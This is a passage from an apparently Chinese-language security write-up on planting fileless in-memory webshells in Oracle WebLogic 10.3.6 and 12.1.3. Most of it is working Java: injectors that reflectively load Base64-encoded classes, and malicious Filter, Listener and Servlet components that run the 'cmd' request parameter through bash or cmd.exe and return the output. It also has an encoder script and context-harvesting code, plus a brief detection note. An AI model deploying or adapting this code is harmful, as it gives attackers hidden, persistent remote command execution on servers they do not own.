ABAAKAAAAoisSArkAAwIAOgQZBMYAjQE6BRIEuAAFtgAGEge2AAiZABsGvQAJWQMSClNZBBILU1kFGQRTOgWnABgGvQAJWQMSDFNZBBINU1kFGQRTOgW4AA4ZBbYAD7YAEDoGuwARWRkGtwASEhO2ABQ6BxkHtgAVmQALGQe2ABanAAUSFzoILLkAGAEAOgkZCRkItgAZGQm2ABoZCbYAGy0rLLkAHAMAsQAAAAMAIwAAAD4ADwAAAA0ACgAOAA8ADwASABEAIgASADoAFABPABcAXAAYAGwAGQCAABoAiAAbAI8AHACUAB0AmQAfAKEAIAAkAAAAZgAKABIAhwAvADAABQBcAD0AMQAyAAYAbAAtADMANAAHAIAAGQA1ADYACACIABEANwA4AAkAAACiACUAJgAAAAAAogA5ADoAAQAAAKIAOwA8AAIAAACiAD0APgADAAoAmAA/ADYABABAAAAAHAAF/QA6BwBBBwBCFP0ALAcAQwcAREEHAEH4ABoAKwAAAAYAAgBFACwAAQBGACEAAQAiAAAAKwAAAAEAAAABsQAAAAIAIwAAAAYAAQAAACcAJAAAAAwAAQAAAAEAJQAmAAAAAQBHAAAAAgBI";
            byte[] decode_class = new BASE64Decoder().decodeBuffer(encode_class);
            Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, Integer.TYPE, Integer.TYPE);
            defineClass.setAccessible(true);
            //这里为了适配weblogic 1036 必须反射获取webAppServletContext中的classLoader
            Field loader = webAppServletContext.getClass().getDeclaredField("classLoader");
            loader.setAccessible(true);
            ClassLoader ClassLoader0= (ClassLoader) loader.get(webAppServletContext);
            Class filter_class = (Class) defineClass.invoke(ClassLoader0, decode_class, 0, decode_class.length);

            //获取ChangeAwareClassLoader，因为cachedClasses这个变量在ChangeAwareClassLoader中
            Field classLoader = webAppServletContext.getClass().getDeclaredField("classLoader");
            classLoader.setAccessible(true);
            ClassLoader classLoader1 = (ClassLoader) classLoader.get(webAppServletContext);
            //获取cachedClasses
            Field cachedClasses = classLoader1.getClass().getDeclaredField("cachedClasses");
            cachedClasses.setAccessible(true);
            Object cachedClasses_map = cachedClasses.get(classLoader1);
            Method get = cachedClasses_map.getClass().getDeclaredMethod("get", Object.class);
            get.setAccessible(true);
            //如果cachedClasses中不存在cmdFilter类
            if (get.invoke(cachedClasses_map, "cmdFilter") == null) {
                //把cmdFilter的class 存入cachedClasses中
                Method put = cachedClasses_map.getClass().getMethod("put", Object.class, Object.class);
                put.setAccessible(true);
                put.invoke(cachedClasses_map, "cmdFilter", filter_class);
                //获取filterManager类
                Field filterManager = webAppServletContext.getClass().getDeclaredField("filterManager");
                filterManager.setAccessible(true);
                Object o = filterManager.get(webAppServletContext);
                //注册Filter
                Method registerFilter = o.getClass().getDeclaredMethod("registerFilter", String.class, String.class, String[].class, String[].class, Map.class, String[].class);
                registerFilter.setAccessible(true);
                registerFilter.invoke(o, "test", "cmdFilter", new String[]{"/*"}, null, null, null);
                response.getWriter().write("success!!!");
            }

        } catch (Exception e) {

        }

    }

    public void destroy() {
    }
}

Listener

Listener 注册过程分析

和Filter注册过程差不多，webAppServletContext中的registerListener方法可以注册Listener，但当context启动后不能直接通过该方法注册，下面来分析一下。跟进this.addListener() ，看到根据类名创建EventListener对象，传入到this.addListener(Listener)。然后再继续跟进this.addListener() ，可以看到对当前线程是否启动进行检查。通过的话便可调用this.eventsManager.addEventListener(t); 添加Listener。如果当前webAppServletContext.ContextPhase.START ==this.phase 那么就抛出异常所以可以模拟添加Listener的方法。先通过反射创建EventListener，再调用eventsManager的addEventListener方法即可。

实现代码

测试Weblogic 1036和12.1.3成功

package com.example.web;

import sun.misc.BASE64Decoder;
import weblogic.servlet.internal.EventsManager;
import weblogic.servlet.internal.ServletRequestImpl;
import weblogic.servlet.internal.WebAppServletContext;

import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.util.EventListener;

public class guguServlet extends HttpServlet {
    public void init() {
    }

    public void doGet(HttpServletRequest request, HttpServletResponse response) throws IOException {
        Thread thread = Thread.currentThread();
        try {
            //获取WebAppServletContext
            Field workEntry = Class.forName("weblogic.work.ExecuteThread").getDeclaredField("workEntry");
            workEntry.setAccessible(true);
            Object workentry = workEntry.get(thread);
            WebAppServletContext webAppServletContext=null;
            try{ //weblogic 12.1.3
                Field connectionHandler = workentry.getClass().getDeclaredField("connectionHandler");
                connectionHandler.setAccessible(true);
                Object http = connectionHandler.get(workentry);

                Field request1 = http.getClass().getDeclaredField("request");
                request1.setAccessible(true);
                ServletRequestImpl servletRequest = (ServletRequestImpl) request1.get(http);

                Field context = servletRequest.getClass().getDeclaredField("context");
                context.setAccessible(true);
                webAppServletContext = (WebAppServletContext) context.get(servletRequest);

            }catch (Exception e){
                //weblogic 1036
                Field context = workentry.getClass().getDeclaredField("context");
                context.setAccessible(true);
                webAppServletContext = (WebAppServletContext) context.get(workentry);
            }
            if(webAppServletContext==null){throw new Exception("null");}
            //加载字节码
            String encode_class ="yv66vgAAADQAdwoAGAA8CgA9AD4IADELAD8AQAoAQQBCCgBBAEMHAEQHAEUKAEYARwoACABICgAHAEkHAEoKAAwAPAoABwBLCgAMAEwIAE0KAAwATgcATwoAEgBQCgBRAFIKAFMAVAcAVQcAVgcAVwcAWAEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBABJMb2NhbFZhcmlhYmxlVGFibGUBAAR0aGlzAQAcTGNvbS9leGFtcGxlL3dlYi9teUxpc3RlbmVyOwEAEHJlcXVlc3REZXN0cm95ZWQBACYoTGphdmF4L3NlcnZsZXQvU2VydmxldFJlcXVlc3RFdmVudDspVgEAE3NlcnZsZXRSZXF1ZXN0RXZlbnQBACNMamF2YXgvc2VydmxldC9TZXJ2bGV0UmVxdWVzdEV2ZW50OwEAEnJlcXVlc3RJbml0aWFsaXplZAEAAnBzAQATTGphdmEvbGFuZy9Qcm9jZXNzOwEAAmJyAQAYTGphdmEvaW8vQnVmZmVyZWRSZWFkZXI7AQACc2IBABhMamF2YS9sYW5nL1N0cmluZ0J1ZmZlcjsBAARsaW5lAQASTGphdmEvbGFuZy9TdHJpbmc7AQAGcmVzdWx0AQAIcmVzcG9uc2UBAC9Md2VibG9naWMvc2VydmxldC9pbnRlcm5hbC9TZXJ2bGV0UmVzcG9uc2VJbXBsOwEAA2NtZAEADVN0YWNrTWFwVGFibGUHAFYHAFkHAFoHAFsHAEQHAEoHAFUBAApTb3VyY2VGaWxlAQAPbXlMaXN0ZW5lci5qYXZhDAAaABsHAFkMAFwAXQcAXgwAXwBgBwBhDABiAGMMAGQAZQEAFmphdmEvaW8vQnVmZmVyZWRSZWFkZXIBABlqYXZhL2lvL0lucHV0U3RyZWFtUmVhZGVyBwBbDABmAGcMABoAaAwAGgBpAQAWamF2YS9sYW5nL1N0cmluZ0J1ZmZlcgwAagBrDABsAG0BAAQ8YnI+DABuAGsBACx3ZWJsb2dpYy9zZXJ2bGV0L2ludGVybmFsL1NlcnZsZXRSZXF1ZXN0SW1wbAwAbwBwBwBxDAByAHMHAHQMAHUAdgEAE2phdmEvaW8vSU9FeGNlcHRpb24BABpjb20vZXhhbXBsZS93ZWIvbXlMaXN0ZW5lcgEAEGphdmEvbGFuZy9PYmplY3QBACRqYXZheC9zZXJ2bGV0L1NlcnZsZXRSZXF1ZXN0TGlzdGVuZXIBACFqYXZheC9zZXJ2bGV0L1NlcnZsZXRSZXF1ZXN0RXZlbnQBABBqYXZhL2xhbmcvU3RyaW5nAQARamF2YS9sYW5nL1Byb2Nlc3MBABFnZXRTZXJ2bGV0UmVxdWVzdAEAICgpTGphdmF4L3NlcnZsZXQvU2VydmxldFJlcXVlc3Q7AQAcamF2YXgvc2VydmxldC9TZXJ2bGV0UmVxdWVzdAEADGdldFBhcmFtZXRlcgEAJihMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9TdHJpbmc7AQARamF2YS9sYW5nL1J1bnRpbWUBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7AQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwEADmdldElucHV0U3RyZWFtAQAXKClMamF2YS9pby9JbnB1dFN0cmVhbTsBABgoTGphdmEvaW8vSW5wdXRTdHJlYW07KVYBABMoTGphdmEvaW8vUmVhZGVyOylWAQAIcmVhZExpbmUBABQoKUxqYXZhL2xhbmcvU3RyaW5nOwEABmFwcGVuZAEALChMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9TdHJpbmdCdWZmZXI7AQAIdG9TdHJpbmcBAAtnZXRSZXNwb25zZQEAMSgpTHdlYmxvZ2ljL3NlcnZsZXQvaW50ZXJuYWwvU2VydmxldFJlc3BvbnNlSW1wbDsBAC13ZWJsb2dpYy9zZXJ2bGV0L2ludGVybmFsL1NlcnZsZXRSZXNwb25zZUltcGwBAAlnZXRXcml0ZXIBABcoKUxqYXZhL2lvL1ByaW50V3JpdGVyOwEAE2phdmEvaW8vUHJpbnRXcml0ZXIBAAV3cml0ZQEAFShMamF2YS9sYW5nL1N0cmluZzspVgAhABcAGAABABkAAAADAAEAGgAbAAEAHAAAAC8AAQABAAAABSq3AAGxAAAAAgAdAAAABgABAAAADAAeAAAADAABAAAABQAfACAAAAABACEAIgABABwAAAA1AAAAAgAAAAGxAAAAAgAdAAAABgABAAAAEAAeAAAAFgACAAAAAQAfACAAAAAAAAEAIwAkAAEAAQAlACIAAQAcAAABXwAFAAkAAAByK7YAAhIDuQAEAgBNLMYAZLgABSy2AAZOuwAHWbsACFkttgAJtwAKtwALOgS7AAxZtwANOgUZBLYADlk6BsYAExkFGQa2AA8SELYAD1en/+gZBbYAEToHK7YAAsAAErYAEzoIGQi2ABQZB7YAFacABE6xAAEAEABtAHAAFgADAB0AAAA2AA0AAAAUAAwAFQAQABcAGAAYACwAGQA1ABsAQAAcAFAAHgBXAB8AYwAgAG0AIgBwACEAcQAkAB4AAABcAAkAGABVACYAJwADACwAQQAoACkABAA1ADgAKgArAAUAPQAwACwALQAGAFcAFgAuAC0ABwBjAAoALwAwAAgAAAByAB8AIAAAAAAAcgAjACQAAQAMAGYAMQAtAAIAMgAAADUABP8ANQAGBwAzBwA0BwA1BwA2BwA3BwA4AAD8ABoHADX/AB8AAwcAMwcANAcANQABBwA5AAABADoAAAACADs=";
            byte[] decode_class = new BASE64Decoder().decodeBuffer(encode_class);
            Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, Integer.TYPE, Integer.TYPE);
            defineClass.setAccessible(true);
            //这里为了适配weblogic 1036 必须反射获取webAppServletContext中的classLoader
            Field loader = webAppServletContext.getClass().getDeclaredField("classLoader");
            loader.setAccessible(true);
            ClassLoader ClassLoader0= (ClassLoader) loader.get(webAppServletContext);
            Class filter_class = (Class) defineClass.invoke(ClassLoader0, decode_class, 0, decode_class.length);

            //获取ChangeAwareClassLoader，因为cachedClasses这个变量在ChangeAwareClassLoader中
            Field classLoader = webAppServletContext.getClass().getDeclaredField("classLoader");
            classLoader.setAccessible(true);
            ClassLoader classLoader1 = (ClassLoader) classLoader.get(webAppServletContext);
            //获取cachedClasses
            Field cachedClasses = classLoader1.getClass().getDeclaredField("cachedClasses");
            cachedClasses.setAccessible(true);
            Object cachedClasses_map = cachedClasses.get(classLoader1);
            Method get = cachedClasses_map.getClass().getDeclaredMethod("get", Object.class);
            get.setAccessible(true);
            //如果cachedClasses中不存在cmdListener类
            if (get.invoke(cachedClasses_map, "cmdListener") == null) {
                //把cmdListener的class 存入cachedClasses中
                Method put = cachedClasses_map.getClass().getMethod("put", Object.class, Object.class);
                put.setAccessible(true);
                put.invoke(cachedClasses_map, "cmdListener", filter_class);

                Field eM = webAppServletContext.getClass().getDeclaredField("eventsManager");
                eM.setAccessible(true);
                EventsManager eventsManager=(EventsManager)eM.get(webAppServletContext);
                try {
                    //Weblogic 12.1.3
                    //创建EventListener
                    Method listen=eventsManager.getClass().getDeclaredMethod("createListener", String.class);
                    listen.setAccessible(true);
                    EventListener listener=(EventListener)listen.invoke(eventsManager,"cmdListener");

                    //调用addEventListener添加Listener
                    Method addListener = eventsManager.getClass().getDeclaredMethod("addEventListener", EventListener.class);
                    addListener.setAccessible(true);
                    addListener.invoke(eventsManager,listener);
                    response.getWriter().write("success!!!");
                }catch (Exception e){
                    //weblogic1036 可以直接调用registerListener添加
                    Method listen=webAppServletContext.getClass().getDeclaredMethod("registerListener", String.class);
                    listen.setAccessible(true);
                    listen.invoke(webAppServletContext,"cmdListener");
                    response.getWriter().write("success!!!");
                }

            }

        } catch (Exception e) {

        }

    }

    public void destroy() {
    }

}

恶意Listener

package com.example.web;

import weblogic.servlet.internal.ServletRequestImpl;
import weblogic.servlet.internal.ServletResponseImpl;

import javax.servlet.ServletRequestEvent;
import javax.servlet.ServletRequestListener;
import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStreamReader;

public class myListener implements ServletRequestListener {
    @Override
    public void requestDestroyed(ServletRequestEvent servletRequestEvent) {

    }

    @Override
    public void requestInitialized(ServletRequestEvent servletRequestEvent) {
        String cmd = servletRequestEvent.getServletRequest().getParameter("cmd");
        if (cmd != null) {
            try {
                Process ps = Runtime.getRuntime().exec(cmd);
                BufferedReader br = new BufferedReader(new InputStreamReader(ps.getInputStream()));
                StringBuffer sb = new StringBuffer();
                String line;
                while ((line = br.readLine()) != null) {
                    sb.append(line).append("<br>");//执行结果加上回车
                }
                String result = sb.toString();
                ServletResponseImpl response= ((ServletRequestImpl) servletRequestEvent.getServletRequest()).getResponse();
                response.getWriter().write(result);
            } catch (IOException e) {
            }
        }
    }
}

base64脚本，用于编码class文件。

package test1;

import sun.misc.BASE64Encoder;

import java.io.*;

public class run {
    public static void main(String[] args) {
        try{
            File file = new File("/Users/myzxcg/xx/IdeaProjects/web/target/classes/com/example/web/myListener.class");
            FileInputStream fileInputStream = new FileInputStream(file);
            ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
            byte[] bytes = new byte[4096];
            int len;
            while ((len = fileInputStream.read(bytes))!=-1){
                byteArrayOutputStream.write(bytes,0,len);
            }
            String encode = new BASE64Encoder().encode(byteArrayOutputStream.toByteArray());
            System.out.println(encode.replaceAll("\\r|\\n",""));
        }catch (Exception e){
            e.printStackTrace();
        }

    }
}

Servlet

只需要在servletMapping中添加URI和对应的URLMatchHelper对象即可。 实现代码

在Weblogic 1036和weblogic 12.1.3测试成功。

package com.example.web;

import sun.misc.BASE64Decoder;
import weblogic.servlet.internal.ServletRequestImpl;
import weblogic.servlet.internal.ServletStubImpl;
import weblogic.servlet.internal.WebAppServletContext;
import weblogic.servlet.utils.ServletMapping;

import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.util.Map;

public class guguServlet extends HttpServlet {
    public void init() {
    }

    public void doGet(HttpServletRequest request, HttpServletResponse response) throws IOException {
        try {
            String URI = "/aaa";
           //获取servletContext
            Thread thread = Thread.currentThread();
            //获取WebAppServletContext
            Field workEntry = Class.forName("weblogic.work.ExecuteThread").getDeclaredField("workEntry");
            workEntry.setAccessible(true);
            Object workentry = workEntry.get(thread);
            WebAppServletContext servletContext = null;
            try { //weblogic 12.1.3
                Field connectionHandler = workentry.getClass().getDeclaredField("connectionHandler");
                connectionHandler.setAccessible(true);
                Object http = connectionHandler.get(workentry);

                Field request1 = http.getClass().getDeclaredField("request");
                request1.setAccessible(true);
                ServletRequestImpl servletRequest = (ServletRequestImpl) request1.get(http);

                Field context = servletRequest.getClass().getDeclaredField("context");
                context.setAccessible(true);
                servletContext = (WebAppServletContext) context.get(servletRequest);

            } catch (Exception e) {
                //weblogic 1036
                Field context = workentry.getClass().getDeclaredField("context");
                context.setAccessible(true);
                servletContext = (WebAppServletContext) context.get(workentry);
            }
            // 获取servletMapping
            Method getServletMapping = servletContext.getClass().getDeclaredMethod("getServletMapping");
            getServletMapping.setAccessible(true);
            ServletMapping mappings = (ServletMapping) getServletMapping.invoke(servletContext);
            ServletStubImpl servletStub = null;
            // 使用ServletStub包装HttpServlet
            String encode_class = "yv66vgAAADQAhwoAHQBDCAArCwBEAEUIAEYKAEcASAoACQBJCABKCgAJAEsHAEwIAE0IAE4IAE8IAFAKAFEAUgoAUQBTCgBUAFUHAFYKABEAVwgAWAoAEQBZCgARAFoKABEAWwgAXAsAXQBeCgBfAGAKAF8AYQoAXwBiBwBjBwBkAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBAB1MY29tL2V4YW1wbGUvd2ViL2h0dHBTZXJ2bGV0OwEABWRvR2V0AQBSKExqYXZheC9zZXJ2bGV0L2h0dHAvSHR0cFNlcnZsZXRSZXF1ZXN0O0xqYXZheC9zZXJ2bGV0L2h0dHAvSHR0cFNlcnZsZXRSZXNwb25zZTspVgEAA3JlcQEAJ0xqYXZheC9zZXJ2bGV0L2h0dHAvSHR0cFNlcnZsZXRSZXF1ZXN0OwEABHJlc3ABAChMamF2YXgvc2VydmxldC9odHRwL0h0dHBTZXJ2bGV0UmVzcG9uc2U7AQADY21kAQASTGphdmEvbGFuZy9TdHJpbmc7AQAHaXNMaW51eAEAAVoBAAVvc1R5cAEABGNtZHMBABNbTGphdmEvbGFuZy9TdHJpbmc7AQACaW4BABVMamF2YS9pby9JbnB1dFN0cmVhbTsBAAFzAQATTGphdmEvdXRpbC9TY2FubmVyOwEABm91dHB1dAEAA291dAEAFUxqYXZhL2lvL1ByaW50V3JpdGVyOwEADVN0YWNrTWFwVGFibGUHAEwHADEHAGUHAFYBAApFeGNlcHRpb25zBwBmBwBnAQAKU291cmNlRmlsZQEAEGh0dHBTZXJ2bGV0LmphdmEMAB4AHwcAaAwAaQBqAQAHb3MubmFtZQcAawwAbABqDABtAG4BAAN3aW4MAG8AcAEAEGphdmEvbGFuZy9TdHJpbmcBAARiYXNoAQACLWMBAAdjbWQuZXhlAQACL2MHAHEMAHIAcwwAdAB1BwB2DAB3AHgBABFqYXZhL3V0aWwvU2Nhbm5lcgwAHgB5AQACXGEMAHoAewwAfAB9DAB+AG4BAAAHAH8MAIAAgQcAggwAgwCEDACFAB8MAIYAHwEAG2NvbS9leGFtcGxlL3dlYi9odHRwU2VydmxldAEAHmphdmF4L3NlcnZsZXQvaHR0cC9IdHRwU2VydmxldAEAE2phdmEvaW8vSW5wdXRTdHJlYW0BAB5qYXZheC9zZXJ2bGV0L1NlcnZsZXRFeGNlcHRpb24BABNqYXZhL2lvL0lPRXhjZXB0aW9uAQAlamF2YXgvc2VydmxldC9odHRwL0h0dHBTZXJ2bGV0UmVxdWVzdAEADGdldFBhcmFtZXRlcgEAJihMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9TdHJpbmc7AQAQamF2YS9sYW5nL1N5c3RlbQEAC2dldFByb3BlcnR5AQALdG9Mb3dlckNhc2UBABQoKUxqYXZhL2xhbmcvU3RyaW5nOwEACGNvbnRhaW5zAQAbKExqYXZhL2xhbmcvQ2hhclNlcXVlbmNlOylaAQARamF2YS9sYW5nL1J1bnRpbWUBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7AQAEZXhlYwEAKChbTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsBABFqYXZhL2xhbmcvUHJvY2VzcwEADmdldElucHV0U3RyZWFtAQAXKClMamF2YS9pby9JbnB1dFN0cmVhbTsBABgoTGphdmEvaW8vSW5wdXRTdHJlYW07KVYBAAx1c2VEZWxpbWl0ZXIBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL3V0aWwvU2Nhbm5lcjsBAAdoYXNOZXh0AQADKClaAQAEbmV4dAEAJmphdmF4L3NlcnZsZXQvaHR0cC9IdHRwU2VydmxldFJlc3BvbnNlAQAJZ2V0V3JpdGVyAQAXKClMamF2YS9pby9QcmludFdyaXRlcjsBABNqYXZhL2lvL1ByaW50V3JpdGVyAQAHcHJpbnRsbgEAFShMamF2YS9sYW5nL1N0cmluZzspVgEABWZsdXNoAQAFY2xvc2UAIQAcAB0AAAAAAAIAAQAeAB8AAQAgAAAALwABAAEAAAAFKrcAAbEAAAACACEAAAAGAAEAAAAMACIAAAAMAAEAAAAFACMAJAAAAAQAJQAmAAIAIAAAAYoABAALAAAAoSsSArkAAwIATgQ2BBIEuAAFOgUZBcYAExkFtgAGEge2AAiZAAYDNgQVBJkAGAa9AAlZAxIKU1kEEgtTWQUtU6cAFQa9AAlZAxIMU1kEEg1TWQUtUzoGuAAOGQa2AA+2ABA6B7sAEVkZB7cAEhITtgAUOggZCLYAFZkACxkItgAWpwAFEhc6CSy5ABgBADoKGQoZCbYAGRkKtgAaGQq2ABuxAAAAAwAhAAAAOgAOAAAADwAJABAADAARABMAEgAlABMAKAAVAFYAFgBjABcAcwAYAIcAGQCPABoAlgAbAJsAHACgAB0AIgAAAHAACwAAAKEAIwAkAAAAAAChACcAKAABAAAAoQApACoAAgAJAJgAKwAsAAMADACVAC0ALgAEABMAjgAvACwABQBWAEsAMAAxAAYAYwA+ADIAMwAHAHMALgA0ADUACACHABoANgAsAAkAjwASADcAOAAKADkAAAAhAAX+ACgHADoBBwA6GVEHADv+AC4HADsHADwHAD1BBwA6AD4AAAAGAAIAPwBAAAEAQQAAAAIAQg==";
            byte[] decode_class = new BASE64Decoder().decodeBuffer(encode_class);
            Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, Integer.TYPE, Integer.TYPE);
            defineClass.setAccessible(true);
            //这里为了适配weblogic 1036 必须反射获取webAppServletContext中的classLoader
            Field loader = servletContext.getClass().getDeclaredField("classLoader");
            loader.setAccessible(true);
            ClassLoader ClassLoader0 = (ClassLoader) loader.get(servletContext);
            Class servlet_class = (Class) defineClass.invoke(ClassLoader0, decode_class, 0, decode_class.length);

            //获取ChangeAwareClassLoader，因为cachedClasses这个变量在ChangeAwareClassLoader中
            Field classLoader = servletContext.getClass().getDeclaredField("classLoader");
            classLoader.setAccessible(true);
            ClassLoader classLoader1 = (ClassLoader) classLoader.get(servletContext);
            //获取cachedClasses
            Field cachedClasses = classLoader1.getClass().getDeclaredField("cachedClasses");
            cachedClasses.setAccessible(true);
            Object cachedClasses_map = cachedClasses.get(classLoader1);
            Method get = cachedClasses_map.getClass().getDeclaredMethod("get", Object.class);
            get.setAccessible(true);
            //把cmdServlet的class存入cachedClasses中
            Method put = cachedClasses_map.getClass().getMethod("put", Object.class, Object.class);
            put.setAccessible(true);
            put.invoke(cachedClasses_map, "cmdServlet", servlet_class);

            try {
                Constructor<?> ServletStubImplConstructor = Class.forName("weblogic.servlet.internal.ServletStubImpl").getDeclaredConstructor(String.class, String.class, WebAppServletContext.class);
                ServletStubImplConstructor.setAccessible(true);
                servletStub = (ServletStubImpl) ServletStubImplConstructor.newInstance(URI, "cmdServlet", servletContext);
            } catch (Exception e) {
                Constructor<?> ServletStubImplConstructor = Class.forName("weblogic.servlet.internal.ServletStubImpl").getDeclaredConstructor(String.class, String.class, WebAppServletContext.class, Map.class);
                ServletStubImplConstructor.setAccessible(true);
                servletStub = (ServletStubImpl) ServletStubImplConstructor.newInstance(URI, "cmdServlet", servletContext, null);
            }

            // 使用URLMathchHelper包装ServletStub
            Constructor<?> URLMatchHelperConstructor = Class.forName("weblogic.servlet.internal.URLMatchHelper").getDeclaredConstructor(String.class, ServletStubImpl.class);
            URLMatchHelperConstructor.setAccessible(true);
            Object umh = URLMatchHelperConstructor.newInstance(URI, servletStub);

            // 添加到ServletMapping中，即代表注入servlet内存马成功
            if (mappings.get(URI) == null) {
                mappings.put(URI, umh);
                response.getWriter().println("success");
            }else{
                response.getWriter().println("already exist");
            }

        } catch (Exception e) {
            e.printStackTrace();
        }

    }

    public void destroy() {
    }

}

恶意Servlet

package com.example.web;

import javax.servlet.ServletException;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
import java.io.InputStream;
import java.io.PrintWriter;
import java.util.Scanner;

public class httpServlet extends HttpServlet {
    @Override
    protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
        String cmd = req.getParameter("cmd");
        boolean isLinux = true;
        String osTyp = System.getProperty("os.name");
        if (osTyp != null && osTyp.toLowerCase().contains("win")) {
            isLinux = false;
        }
        String[] cmds = isLinux ? new String[]{"bash", "-c", cmd} : new String[]{"cmd.exe", "/c", cmd};
        InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();
        Scanner s = new Scanner(in).useDelimiter("\\\\a");
        String output = s.hasNext() ? s.next() : "";
        PrintWriter out = resp.getWriter();
        out.println(output);
        out.flush();
        out.close();
        return;
    }
}

base64脚本，用于编码class文件。

package test1;

import sun.misc.BASE64Encoder;

import java.io.*;

public class run {
    public static void main(String[] args) {
        try{
            File file = new File("/Users/myzxcg/xx/IdeaProjects/web/target/classes/com/example/web/httpServlet.class");
            FileInputStream fileInputStream = new FileInputStream(file);
            ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
            byte[] bytes = new byte[4096];
            int len;
            while ((len = fileInputStream.read(bytes))!=-1){
                byteArrayOutputStream.write(bytes,0,len);
            }
            String encode = new BASE64Encoder().encode(byteArrayOutputStream.toByteArray());
            System.out.println(encode.replaceAll("\\r|\\n",""));
        }catch (Exception e){
            e.printStackTrace();
        }

    }
}

获取WebAppServletContext

获取所有 Context

在weblogic 10/12下经过测试，不受协议影响

java.lang.reflect.Method m = Class.forName("weblogic.t3.srvr.ServerRuntime").getDeclaredMethod("theOne");
m.setAccessible(true);
ServerRuntime serverRuntime = (ServerRuntime) m.invoke(null);
List<WebAppServletContext> list = new java.util.ArrayList();
StringBuilder sb = new StringBuilder();
for (weblogic.management.runtime.ApplicationRuntimeMBean applicationRuntime : serverRuntime.getApplicationRuntimes()) {
    java.lang.reflect.Field childrenF = applicationRuntime.getClass().getSuperclass().getDeclaredField("children");
    childrenF.setAccessible(true);
    java.util.HashSet set = (java.util.HashSet) childrenF.get(applicationRuntime);
    java.util.Iterator iterator = set.iterator();
    while (iterator.hasNext()) {
        Object key = iterator.next();
        if (key.getClass().getName().equals("weblogic.servlet.internal.WebAppRuntimeMBeanImpl")) {
            Field contextF = key.getClass().getDeclaredField("context");
            contextF.setAccessible(true);
            WebAppServletContext context = (WebAppServletContext) contextF.get(key);
            list.add(context);
        }
    }
}

从当前线程中获取 Context

已测试weblogic1036与weblogic12.1.3 成功

Thread thread = Thread.currentThread();
try {
    //获取WebAppServletContext
Field workEntry = Class.forName("weblogic.work.ExecuteThread").getDeclaredField("workEntry");
workEntry.setAccessible(true);
Object workentry = workEntry.get(thread);
WebAppServletContext webAppServletContext=null;
try{ //weblogic 12.1.3
    Field connectionHandler = workentry.getClass().getDeclaredField("connectionHandler");
    connectionHandler.setAccessible(true);
    Object http = connectionHandler.get(workentry);

    Field request1 = http.getClass().getDeclaredField("request");
    request1.setAccessible(true);
    ServletRequestImpl servletRequest = (ServletRequestImpl) request1.get(http);

    Field context = servletRequest.getClass().getDeclaredField("context");
    context.setAccessible(true);
    webAppServletContext = (WebAppServletContext) context.get(servletRequest);

}catch (Exception e){
    //weblogic 1036
    Field context = workentry.getClass().getDeclaredField("context");
    context.setAccessible(true);
    webAppServletContext = (WebAppServletContext) context.get(workentry);
}
}catch(Exception e){}

从Request获取 Context

Weblogic 1036不能用

`1`	`weblogic.servlet.internal.WebAppServletContext servletContext = (WebAppServletContext) request.getServletContext();`

获取随机路径

获取到weblogic所有的WebAppServletContext后，可以调用context.getRootTempDir().getAbsolutePath()方法去获取目录的位置。

List<WebAppServletContext> contexts = findAllContext();
Iterator<WebAppServletContext> i = contexts.iterator();
StringBuilder sb = new StringBuilder();
while (i.hasNext()) {
    WebAppServletContext context = i.next();
    sb.append(String.format("name %30s\\turl %30s\\tDocroot %s\\n", context.getAppName(), context.getContextPath(), context.getRootTempDir().getAbsolutePath()));
}

内存马查杀

要找到是否有filter类型的内存马，只需在getFilterChain处下手即可；只要从FileManager中的filters删掉恶意filter，filter链就不会有恶意filter了。

filter类型的内存马有两个很致命的特点，第一是继承Filter类，第二因为我们使用defineClass加载的类，是不会有class文件落地的，因此查看它的类加载路径会返回null。

测试注意事项

部署war包到Weblogic 1036注意Web.xml文件格式的问题

1
2
3

<web-app version="2.5" metadata-complete="true" xmlns="<http://java.sun.com/xml/ns/javaee>"
         xmlns:xsi="<http://www.w3.org/2001/XMLSchema-instance>"
         xsi:schemaLocation="<http://java.sun.com/xml/ns/javaee> <http://java.sun.com/xml/ns/javaee/web-app_2_5.xsd>">

本地测试时，编写的代码使用到了Weblogic的依赖，打war包的时候需要添加在pom.xml中需要添加jar包的依赖。

<dependency>
    <groupId>weblogic.servlet.internal</groupId><!--groupId和artifactId随便写-->
    <artifactId>weblogic-classes</artifactId>
    <version>1.0.0</version>
    <scope>system</scope>
    <systemPath>${project.basedir}/lib/weblogic-classes.jar</systemPath>
</dependency>
<dependency>
    <groupId>xxx</groupId>
    <artifactId>xxx</artifactId>
    <version>1.0.0</version>
    <scope>system</scope>
    <systemPath>${project.basedir}/lib/weblogic.server.merged.jar</systemPath>
</dependency>

从docker中导出wlserver目录下的包后，提取出所有jar包再导入idea。（不然可能找不到weblogic-classes.jar包） windows命令

